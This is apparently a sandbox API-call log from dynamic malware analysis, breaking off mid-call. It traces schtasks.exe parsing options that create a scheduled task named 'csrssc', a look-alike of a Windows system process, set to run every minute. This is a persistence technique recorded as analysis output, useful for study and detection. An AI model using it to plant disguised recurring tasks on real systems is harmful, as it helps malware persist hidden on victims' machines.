[0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="rp") returned 2 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="sc") returned 2 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="mo") returned 2 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="d") returned 1 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="m") returned 1 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="i") returned 1 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="tn") returned 2 [0058.509] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="tr") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="st") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="sd") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="ed") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="it") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="et") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="k") returned 1 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="du") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="ri") returned 2 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.510] lstrlenW (lpString="z") returned 1 [0058.510] GetThreadLocale () returned 0x409 [0058.510] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="f") returned 1 [0058.511] GetThreadLocale () returned 0x409 [0058.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="v1") returned 2 [0058.511] GetThreadLocale () returned 0x409 [0058.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="xml") returned 3 [0058.511] GetThreadLocale () returned 0x409 [0058.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="ec") returned 2 [0058.511] GetThreadLocale () returned 0x409 [0058.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="rl") returned 2 [0058.511] GetThreadLocale () returned 0x409 [0058.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="delay") returned 5 [0058.511] GetThreadLocale () returned 0x409 [0058.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.511] lstrlenW (lpString="np") returned 2 [0058.511] SetLastError (dwErrCode=0x0) [0058.511] SetLastError (dwErrCode=0x0) [0058.511] lstrlenW (lpString="/create") returned 7 [0058.511] lstrlenW (lpString="-/") returned 2 [0058.511] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.511] lstrlenW (lpString="create") returned 6 [0058.511] lstrlenW (lpString="create") returned 6 [0058.511] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.511] lstrlenW (lpString="create") returned 6 [0058.511] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.511] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.511] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.511] lstrlenW (lpString="|create|") returned 8 [0058.512] lstrlenW (lpString="|create|") returned 8 [0058.512] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0058.512] SetLastError (dwErrCode=0x0) [0058.512] SetLastError (dwErrCode=0x0) [0058.512] SetLastError (dwErrCode=0x0) [0058.512] lstrlenW (lpString="/tn") returned 3 [0058.512] lstrlenW (lpString="-/") returned 2 [0058.512] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.512] lstrlenW (lpString="create") returned 6 [0058.512] lstrlenW (lpString="create") returned 6 [0058.512] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.512] lstrlenW (lpString="tn") returned 2 [0058.512] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.512] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.512] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.512] lstrlenW (lpString="|create|") returned 8 [0058.512] lstrlenW (lpString="|tn|") returned 4 [0058.512] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0058.512] SetLastError (dwErrCode=0x490) [0058.512] lstrlenW (lpString="?") returned 1 [0058.512] lstrlenW (lpString="?") returned 1 [0058.512] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.512] lstrlenW (lpString="tn") returned 2 [0058.512] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.512] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|?|") returned 3 [0058.512] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.512] lstrlenW (lpString="|?|") returned 3 [0058.512] lstrlenW (lpString="|tn|") returned 4 [0058.512] SetLastError (dwErrCode=0x490) [0058.513] lstrlenW (lpString="s") returned 1 [0058.513] lstrlenW (lpString="s") returned 1 [0058.513] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.513] lstrlenW (lpString="tn") returned 2 [0058.513] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.513] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|s|") returned 3 [0058.513] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.513] lstrlenW (lpString="|s|") returned 3 [0058.513] lstrlenW (lpString="|tn|") returned 4 [0058.513] SetLastError (dwErrCode=0x490) [0058.513] lstrlenW (lpString="u") returned 1 [0058.513] lstrlenW (lpString="u") returned 1 [0058.513] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.513] lstrlenW (lpString="tn") returned 2 [0058.513] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.513] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|u|") returned 3 [0058.513] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.513] lstrlenW (lpString="|u|") returned 3 [0058.513] lstrlenW (lpString="|tn|") returned 4 [0058.513] SetLastError (dwErrCode=0x490) [0058.513] lstrlenW (lpString="p") returned 1 [0058.513] lstrlenW (lpString="p") returned 1 [0058.513] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.513] lstrlenW (lpString="tn") returned 2 [0058.513] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.513] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|p|") returned 3 [0058.513] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.513] lstrlenW (lpString="|p|") returned 3 [0058.513] lstrlenW (lpString="|tn|") returned 4 [0058.514] SetLastError (dwErrCode=0x490) [0058.514] lstrlenW (lpString="ru") returned 2 [0058.514] lstrlenW (lpString="ru") returned 2 [0058.514] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.514] lstrlenW (lpString="tn") returned 2 [0058.514] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.514] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ru|") returned 4 [0058.514] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.514] lstrlenW (lpString="|ru|") returned 4 [0058.514] lstrlenW (lpString="|tn|") returned 4 [0058.514] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0058.514] SetLastError (dwErrCode=0x490) [0058.514] lstrlenW (lpString="rp") returned 2 [0058.514] lstrlenW (lpString="rp") returned 2 [0058.514] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.514] lstrlenW (lpString="tn") returned 2 [0058.514] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.514] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rp|") returned 4 [0058.514] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.514] lstrlenW (lpString="|rp|") returned 4 [0058.514] lstrlenW (lpString="|tn|") returned 4 [0058.514] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0058.514] SetLastError (dwErrCode=0x490) [0058.514] lstrlenW (lpString="sc") returned 2 [0058.514] lstrlenW (lpString="sc") returned 2 [0058.514] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.514] lstrlenW (lpString="tn") returned 2 [0058.514] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.514] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.515] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.515] lstrlenW (lpString="|sc|") returned 4 [0058.515] lstrlenW (lpString="|tn|") returned 4 [0058.515] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0058.515] SetLastError (dwErrCode=0x490) [0058.515] lstrlenW (lpString="mo") returned 2 [0058.515] lstrlenW (lpString="mo") returned 2 [0058.515] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.515] lstrlenW (lpString="tn") returned 2 [0058.515] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.515] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.515] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.515] lstrlenW (lpString="|mo|") returned 4 [0058.515] lstrlenW (lpString="|tn|") returned 4 [0058.515] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0058.515] SetLastError (dwErrCode=0x490) [0058.515] lstrlenW (lpString="d") returned 1 [0058.515] lstrlenW (lpString="d") returned 1 [0058.515] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.515] lstrlenW (lpString="tn") returned 2 [0058.515] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.515] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|d|") returned 3 [0058.515] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.515] lstrlenW (lpString="|d|") returned 3 [0058.515] lstrlenW (lpString="|tn|") returned 4 [0058.515] SetLastError (dwErrCode=0x490) [0058.515] lstrlenW (lpString="m") returned 1 [0058.515] lstrlenW (lpString="m") returned 1 [0058.515] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.516] lstrlenW (lpString="tn") returned 2 [0058.516] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.516] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|m|") returned 3 [0058.516] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.516] lstrlenW (lpString="|m|") returned 3 [0058.516] lstrlenW (lpString="|tn|") returned 4 [0058.516] SetLastError (dwErrCode=0x490) [0058.516] lstrlenW (lpString="i") returned 1 [0058.516] lstrlenW (lpString="i") returned 1 [0058.516] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.516] lstrlenW (lpString="tn") returned 2 [0058.516] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.516] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|i|") returned 3 [0058.516] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.516] lstrlenW (lpString="|i|") returned 3 [0058.516] lstrlenW (lpString="|tn|") returned 4 [0058.516] SetLastError (dwErrCode=0x490) [0058.516] lstrlenW (lpString="tn") returned 2 [0058.516] lstrlenW (lpString="tn") returned 2 [0058.516] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.516] lstrlenW (lpString="tn") returned 2 [0058.516] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.516] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.516] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.516] lstrlenW (lpString="|tn|") returned 4 [0058.516] lstrlenW (lpString="|tn|") returned 4 [0058.516] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0058.516] SetLastError (dwErrCode=0x0) [0058.516] SetLastError (dwErrCode=0x0) [0058.516] lstrlenW (lpString="csrssc") returned 6 [0058.517] lstrlenW (lpString="-/") returned 2 [0058.517] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0058.517] SetLastError (dwErrCode=0x490) [0058.517] SetLastError (dwErrCode=0x490) [0058.517] SetLastError (dwErrCode=0x0) [0058.517] lstrlenW (lpString="csrssc") returned 6 [0058.517] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0058.517] SetLastError (dwErrCode=0x490) [0058.517] SetLastError (dwErrCode=0x0) [0058.517] lstrlenW (lpString="csrssc") returned 6 [0058.517] SetLastError (dwErrCode=0x0) [0058.517] SetLastError (dwErrCode=0x0) [0058.517] lstrlenW (lpString="/sc") returned 3 [0058.517] lstrlenW (lpString="-/") returned 2 [0058.517] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.517] lstrlenW (lpString="create") returned 6 [0058.517] lstrlenW (lpString="create") returned 6 [0058.517] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.517] lstrlenW (lpString="sc") returned 2 [0058.517] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.517] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.517] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.517] lstrlenW (lpString="|create|") returned 8 [0058.517] lstrlenW (lpString="|sc|") returned 4 [0058.517] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0058.517] SetLastError (dwErrCode=0x490) [0058.517] lstrlenW (lpString="?") returned 1 [0058.517] lstrlenW (lpString="?") returned 1 [0058.517] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.517] lstrlenW (lpString="sc") returned 2 [0058.518] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.518] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|?|") returned 3 [0058.518] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.518] lstrlenW (lpString="|?|") returned 3 [0058.518] lstrlenW (lpString="|sc|") returned 4 [0058.518] SetLastError (dwErrCode=0x490) [0058.518] lstrlenW (lpString="s") returned 1 [0058.518] lstrlenW (lpString="s") returned 1 [0058.518] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.518] lstrlenW (lpString="sc") returned 2 [0058.518] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.518] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|s|") returned 3 [0058.518] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.518] lstrlenW (lpString="|s|") returned 3 [0058.518] lstrlenW (lpString="|sc|") returned 4 [0058.518] SetLastError (dwErrCode=0x490) [0058.518] lstrlenW (lpString="u") returned 1 [0058.518] lstrlenW (lpString="u") returned 1 [0058.518] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.518] lstrlenW (lpString="sc") returned 2 [0058.518] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.518] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|u|") returned 3 [0058.518] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.518] lstrlenW (lpString="|u|") returned 3 [0058.518] lstrlenW (lpString="|sc|") returned 4 [0058.518] SetLastError (dwErrCode=0x490) [0058.518] lstrlenW (lpString="p") returned 1 [0058.518] lstrlenW (lpString="p") returned 1 [0058.518] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.519] lstrlenW (lpString="sc") returned 2 [0058.519] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.519] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|p|") returned 3 [0058.519] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.519] lstrlenW (lpString="|p|") returned 3 [0058.519] lstrlenW (lpString="|sc|") returned 4 [0058.519] SetLastError (dwErrCode=0x490) [0058.519] lstrlenW (lpString="ru") returned 2 [0058.519] lstrlenW (lpString="ru") returned 2 [0058.519] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.519] lstrlenW (lpString="sc") returned 2 [0058.519] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.519] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ru|") returned 4 [0058.519] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.519] lstrlenW (lpString="|ru|") returned 4 [0058.519] lstrlenW (lpString="|sc|") returned 4 [0058.519] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0058.519] SetLastError (dwErrCode=0x490) [0058.519] lstrlenW (lpString="rp") returned 2 [0058.519] lstrlenW (lpString="rp") returned 2 [0058.519] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.519] lstrlenW (lpString="sc") returned 2 [0058.519] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.519] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rp|") returned 4 [0058.519] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.519] lstrlenW (lpString="|rp|") returned 4 [0058.519] lstrlenW (lpString="|sc|") returned 4 [0058.519] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0058.519] SetLastError (dwErrCode=0x490) [0058.520] lstrlenW (lpString="sc") returned 2 [0058.520] lstrlenW (lpString="sc") returned 2 [0058.520] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.520] lstrlenW (lpString="sc") returned 2 [0058.520] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.520] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.520] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.520] lstrlenW (lpString="|sc|") returned 4 [0058.520] lstrlenW (lpString="|sc|") returned 4 [0058.520] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0058.520] SetLastError (dwErrCode=0x0) [0058.520] SetLastError (dwErrCode=0x0) [0058.520] lstrlenW (lpString="MINUTE") returned 6 [0058.520] lstrlenW (lpString="-/") returned 2 [0058.520] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0058.520] SetLastError (dwErrCode=0x490) [0058.520] SetLastError (dwErrCode=0x490) [0058.520] SetLastError (dwErrCode=0x0) [0058.520] lstrlenW (lpString="MINUTE") returned 6 [0058.520] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0058.520] SetLastError (dwErrCode=0x490) [0058.520] SetLastError (dwErrCode=0x0) [0058.520] GetProcessHeap () returned 0x50000 [0058.520] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6d6a0 [0058.520] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.520] lstrlenW (lpString="MINUTE") returned 6 [0058.520] GetProcessHeap () returned 0x50000 [0058.520] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d6c0 [0058.520] lstrlenW (lpString="MINUTE") returned 6 [0058.520] lstrlenW (lpString=" \x09") returned 2 [0058.520] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0058.520] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0058.520] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0058.521] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0058.521] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0058.521] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0058.521] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0058.521] GetLastError () returned 0x0 [0058.521] lstrlenW (lpString="MINUTE") returned 6 [0058.521] lstrlenW (lpString="MINUTE") returned 6 [0058.521] SetLastError (dwErrCode=0x0) [0058.521] SetLastError (dwErrCode=0x0) [0058.521] lstrlenW (lpString="/mo") returned 3 [0058.521] lstrlenW (lpString="-/") returned 2 [0058.521] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.521] lstrlenW (lpString="create") returned 6 [0058.521] lstrlenW (lpString="create") returned 6 [0058.521] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.521] lstrlenW (lpString="mo") returned 2 [0058.521] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.521] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.521] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.521] lstrlenW (lpString="|create|") returned 8 [0058.521] lstrlenW (lpString="|mo|") returned 4 [0058.521] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0058.521] SetLastError (dwErrCode=0x490) [0058.521] lstrlenW (lpString="?") returned 1 [0058.521] lstrlenW (lpString="?") returned 1 [0058.521] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.521] lstrlenW (lpString="mo") returned 2 [0058.521] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.521] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|?|") returned 3 [0058.521] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", 